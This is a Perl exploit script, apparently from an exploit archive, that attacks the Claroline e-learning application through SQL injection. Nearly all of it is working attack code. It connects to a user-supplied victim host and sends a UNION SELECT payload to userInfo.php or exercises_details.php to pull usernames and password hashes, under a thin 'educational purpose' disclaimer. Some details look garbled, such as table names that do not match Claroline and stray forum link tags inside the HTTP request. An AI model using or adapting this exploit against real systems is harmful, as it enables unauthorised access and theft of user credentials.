Claroline e-Learning = 1.6 Remote Hash SQL Injection Perl Ex

#!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]

use IO::Socket;

sub Usage {
print STDERR "Usage: KCcol-xpl.pl <[url]www.victim.com>[/url] <path/dir> <target_num>\n";
print STDERR "Targets:\n1 - userInfo.php\n";
print STDERR "2 - exercises_details.php\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}

if (@ARGV > 3)
{
 Usage();
}

if (@ARGV == 3)
{
$host = @ARGV[0];
$path = @ARGV[1];
$target = @ARGV[2];

print "[K-C0d3r]  Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]\n";
print "[+] Connecting to $host\n";

$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";

$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;

print "[+] Injecting command ...\n";

if ($target == 1)
{
print $socket "GET [url]http://$host/$path/userInfo.php?uInfo=-1$sqli[/url] HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
 print $_;
 exit;
}
}
if ($target == 2)
{
print $socket "GET [url]http://$host/$path/exercises_details.php?uInfo=-1$sqli[/url] HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
 print $_;
 exit;
}
}
}